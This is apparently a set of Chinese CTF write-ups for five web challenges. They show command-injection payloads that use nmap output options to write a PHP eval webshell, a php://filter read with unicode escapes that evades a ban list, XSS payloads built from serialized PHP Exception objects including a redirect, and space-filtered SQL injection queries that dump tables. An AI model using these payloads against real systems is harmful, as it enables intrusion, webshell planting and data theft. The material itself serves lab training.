1.[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
escapeshellarg()和escapeshellcmd()
1. 传入的参数是:172.17.0.2' -v -d a=1
2. 经过`escapeshellarg`处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过`escapeshellcmd`处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个**不配对儿**的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
就是两次转译后出现了问题,没有考虑到单引号的问题
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这里有一个system函数,可以利用这里传参进行命令执行,namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是
这两个函数。会把我们的命令给放道单引号里,
'\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'
最后的语句,就变成了:
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'
我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。
先测试一下这部分的代码
$host = $_GET['host'];
echo $host."<br>";
$host = escapeshellarg($host);
echo $host."<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
当传入1'
时,所有的单引号就都闭合了,我们就可以在单引号之后加上我们想要执行的命令,这样,语句就变成了:nmap -T5 -sT -Pn --host-timeout 2 -F ‘1’\’’ 我们想执行的命令’,在这里输入一句话木马'<?php eval($_POST["ken"]);?> -oG 1.php '
?host=' <?php @eval($_POST["ken"]);?> -oG 1.php '
出现了我们上传的文件的文件夹名,访问1.php,发现没有出现我们传入的字符串,应该是执行了传入的一句话木马
用蚁剑连接,在根目录下找到flag
2.[网鼎杯 2020 朱雀组]Nmap
先查看源代码看看有没有提示
源码中有被注释掉的语句,,还有一个list.php,但是这个网页没啥东西
看这个题目名字,应该是和上一题是用到命令执行里面的namp指令,先用上一题的payload尝试一下
' <?php @eval($_POST["ken"]);?> -oG 1.php '
回显hacker,应该是这个题目里面过滤掉了一些东西,过滤掉了php,可以用phtml代替
' <?= @eval($_POST["ken"]);?> -oG 1.phtml '
传入木马之后访问我们传入的地址,发现我们传入的木马并没有以字符串的形式出现在页面上,说明是成功的将这段命令当作了php,命令来执行,然后用蚁剑连接,在根目录找到flag,这题也可以用命令执行cat /flag,在题目源码的页面里也提示了flag in /flag
第二种方法:
使用不同的namp命令写入木马
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG
将结果Grep保存。
nmap -F -oG test.txt 192.168.23.1
1
选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。
nmap -F -oA test 192.168.3.2
1
尝试对扫描结果进行指定文件保存,
输入-oN aa.txt
,然后访问/aa.txt
出现:# Nmap 6.47 scan initiated Mon May 18 15:58:14 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/05cc1 -oN aa.txt \
可以上传<?=eval(\$_POST[a]);?> 文件名为phtml
payload:' -oN b.phtml <?=eval(\$_POST[a]);?>'
3.[HarekazeCTF2019]encode_and_encode
点击source code 查看源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
最后一块代码的意思是正则匹配到content中有ctf等就用censored替代,最后将json编码后的content输出
$body = file_get_contents('php://input');
$json = json_decode($body, true); //对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page); #从page中读出文件名,并读取出文件内容
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
在第二个if中检查了content是否有效,即不能直接传输flag文件,要通过php伪协议绕过
根据上次做到的json格式数据
{"name":"string"}
这次将文件名和伪加密代码用ison编码表示
page=php://filter/convert.base64-encode/resource=flag
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
放在页面上没有post出来,放到bp里面就出来了
4…[BJDCTF 2nd]xss之光
利用php的原生类进行XSS
通过git泄露扫出源码,源码里面有反序列化的信息,但是并没有类的定义和pop链之类的
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export
.
xss攻击就是要构造页面的弹窗或者跳转
<?php
$a = $_GET['yds_is_so_beautiful'];
$b = unserialize($a);
GET传参给yds_is_so_beautiful,接着传入的参数会被反序列化后输出,跟题目结合,可以知道当反序列化的结果是
<script>alert(1)</script>
就会让1以弹窗形式显示出来,但是在代码中没有给出类来,所以我们只能使用PHP的原生类来序列化构造XSS,
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
弹窗不行,就构造页面的跳转
- 劫持流量实现恶意跳转
这个很简单,就是在网页中想办法插入一句像这样的语句:
<script>window.location.href="http://www.baidu.com";</script>
那么所访问的网站就会被跳转到百度的首页。在跳转时抓包
<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));
5.ctf.show_web6
sql注入
先尝试用万能密码注入
'or 1=1#
继续注入
1' and 1=1#
这样的回显也是错误的,猜测是过滤掉了空格,用/**/代替空格注入,登录成功
1'/**/and/**/1=1#
接下去查询数据库
1'/**/union/**/select/**/1,database(),3#
查询表名
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
查询列名
1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
查询flag字段
1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#